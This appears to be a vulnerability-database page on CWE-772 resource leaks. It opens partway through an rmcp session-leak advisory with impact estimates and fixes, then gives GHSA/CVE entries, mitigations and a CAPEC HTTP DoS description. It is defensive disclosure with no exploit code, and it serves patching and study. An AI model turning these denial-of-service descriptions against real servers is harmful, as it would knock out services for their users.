entry, including the `SessionId` `Arc\u003cstr\u003e`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n    - **1 hour**: ~7.8 M entries, \u22483.5 GB\n    - **1 day**: ~187 M entries, \u224884 GB\n    - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier \u2014 a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically \u2014 including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
  "id": "GHSA-9pj6-vhgr-3mwh",
  "modified": "2026-09-16T22:13:34Z",
  "published": "2026-09-16T22:13:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/rust-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service"
}

GHSA-9QHM-PG8G-WQH2

Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2022-05-13 01:40
VLAI
Details

A denial of service vulnerability in the Android media framework (libstagefright). Product: Android. Versions: 7.0, 7.1.1, 7.1.2. Android ID: A-36531046.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-0813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-04T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "A denial of service vulnerability in the Android media framework (libstagefright). Product: Android. Versions: 7.0, 7.1.1, 7.1.2. Android ID: A-36531046.",
  "id": "GHSA-9qhm-pg8g-wqh2",
  "modified": "2022-05-13T01:40:46Z",
  "published": "2022-05-13T01:40:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0813"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/av/+/7fa3f552a6f34ed05c15e64ea30b8eed53f77a41"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2017-10-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101151"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9R29-9QMJ-8M4X

Vulnerability from github – Published: 2022-09-13 00:00 – Updated: 2022-09-16 00:00
VLAI
Details

Dell BIOS versions contain a Missing Release of Resource after Effective Lifetime vulnerability. A local authenticated administrator user could potentially exploit this vulnerability by consuming excess memory in order to cause the application to crash.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-12T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell BIOS versions contain a Missing Release of Resource after Effective Lifetime vulnerability. A local authenticated administrator user could potentially exploit this vulnerability by consuming excess memory in order to cause the application to crash.",
  "id": "GHSA-9r29-9qmj-8m4x",
  "modified": "2022-09-16T00:00:30Z",
  "published": "2022-09-13T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31222"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000202196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X2F-WQ24-4M7J

Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11
VLAI
Details

Due to incorrect JIT optimization, we incorrectly interpreted data from the wrong type of object, resulting in the potential leak of a single bit of memory. This vulnerability affects Firefox < 91 and Thunderbird < 91.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-29982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-17T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Due to incorrect JIT optimization, we incorrectly interpreted data from the wrong type of object, resulting in the potential leak of a single bit of memory. This vulnerability affects Firefox \u003c 91 and Thunderbird \u003c 91.",
  "id": "GHSA-9x2f-wq24-4m7j",
  "modified": "2022-05-24T19:11:21Z",
  "published": "2022-05-24T19:11:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29982"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1715318"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202202-03"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2021-33"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2021-36"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XC3-9G76-HCVX

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48
VLAI
Details

Dave Gamble cJSON version 1.7.6 and earlier contains a CWE-772 vulnerability in cJSON library that can result in Denial of Service (DoS). This attack appear to be exploitable via If the attacker can force the data to be printed and the system is in low memory it can force a leak of memory. This vulnerability appears to have been fixed in 1.7.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-20T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Dave Gamble cJSON version 1.7.6 and earlier contains a CWE-772 vulnerability in cJSON library that can result in Denial of Service (DoS). This attack appear to be exploitable via If the attacker can force the data to be printed and the system is in low memory it can force a leak of memory. This vulnerability appears to have been fixed in 1.7.7.",
  "id": "GHSA-9xc3-9g76-hcvx",
  "modified": "2022-05-13T01:48:34Z",
  "published": "2022-05-13T01:48:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DaveGamble/cJSON/issues/267"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C2CP-R782-35VP

Vulnerability from github – Published: 2022-05-02 00:03 – Updated: 2022-05-02 00:03
VLAI
Details

Memory leak in the Session Initiation Protocol (SIP) implementation in Cisco IOS 12.2 through 12.4, when VoIP is configured, allows remote attackers to cause a denial of service (memory consumption and voice-service outage) via unspecified valid SIP messages.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-3799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-09-26T16:21:00Z",
    "severity": "HIGH"
  },
  "details": "Memory leak in the Session Initiation Protocol (SIP) implementation in Cisco IOS 12.2 through 12.4, when VoIP is configured, allows remote attackers to cause a denial of service (memory consumption and voice-service outage) via unspecified valid SIP messages.",
  "id": "GHSA-c2cp-r782-35vp",
  "modified": "2022-05-02T00:03:47Z",
  "published": "2022-05-02T00:03:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3799"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5927"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/31990"
    },
    {
      "type": "WEB",
      "url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080a01562.shtml"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1020939"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2670"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C2GF-V879-257J

Vulnerability from github – Published: 2026-06-11 13:28 – Updated: 2026-09-11 15:32
VLAI
Summary
netty-codec-http2: ByteBuf Reference-Count Leak in DelegatingDecompressorFrameListener Leads to Memory Exhaustion
Details

Impact

The DelegatingDecompressorFrameListener class orchestrates HTTP/2 decompression by embedding a per-stream EmbeddedChannel that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled ByteBuf handed to an anonymous ChannelInboundHandlerAdapter tail handler, which becomes the sole owner responsible for releasing it.

A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T13:28:46Z",
    "nvd_published_at": "2026-06-12T16:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it.\n\nA remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME.",
  "id": "GHSA-c2gf-v879-257j",
  "modified": "2026-09-11T15:32:21Z",
  "published": "2026-06-11T13:28:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-c2gf-v879-257j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48043"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48043.json"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488442"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-48043"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66488"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:65126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54435"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53806"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53644"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50085"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:48151"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:48124"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41951"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:37390"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36820"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34608"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26586"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26018"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-codec-http2: ByteBuf Reference-Count Leak in DelegatingDecompressorFrameListener Leads to Memory Exhaustion"
}

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.
Mitigation
Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.